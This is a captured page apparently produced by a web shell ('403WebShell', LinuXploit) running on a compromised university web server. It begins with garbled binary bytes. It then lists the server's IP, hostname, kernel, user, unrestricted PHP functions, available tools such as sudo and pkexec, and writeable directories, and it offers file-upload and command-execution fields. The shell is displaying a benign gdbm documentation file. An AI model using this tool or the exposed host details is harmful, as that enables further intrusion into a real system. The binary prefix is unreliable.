h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/gdbm-1.10/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /usr/share/doc/gdbm-1.10/NOTE-WARNING
******************************************************************************
				 W A R N I N G
******************************************************************************

Gdbm files have never been `portable' between different operating systems,
system architectures, or potentially even different compilers.  Differences
in byte order, the size of file offsets, and even structure packing make
gdbm files non-portable.

Gdbm version 1.9 includes `large file' support, enabling it on operating
systems where it is not the default.  `Large file' support is essentially
when a system uses 64bit file offsets.  Gdbm has, of course, supported `large
files' on systems where it was the default for a very long time.

On some systems this functionality is not enabled by default. To enable it, 
build rpm with option --with=largefile. THIS MEANS THAT GDBM 1.9 MAY NOT BE 
ABLE TO ACCESS DATABASES CREATED BY PREVIOUS VERIONS ON THE SAME SYSTEM.

Running the `configure' script with the `--disable-largefile' flag should
produce a backwards-compatible build on such a system.  However, for maximum
compatibility, and increased functionality, you may want to have your
application produce a portable copy of your database with the 1.8.3 version
of the library, and then load it back into version 1.9.

Gdbm 1.9 contains a utility designed to help you produce such a portable
copy: gdbmexport.  To build it, configure the package with the
--enable-gdbm-export option.  For the information on how to use this
utility, refer to the documentation, chapter 17 "Export a database into
a portable format." (run `info gdbm gdbmexport' to access it, once
gdbm 1.9 has been installed, or `info -f doc/gdbm.info gdbmexport' to
access the shipped info file).

Youez - 2016 - github.com/yon3zu
LinuXploit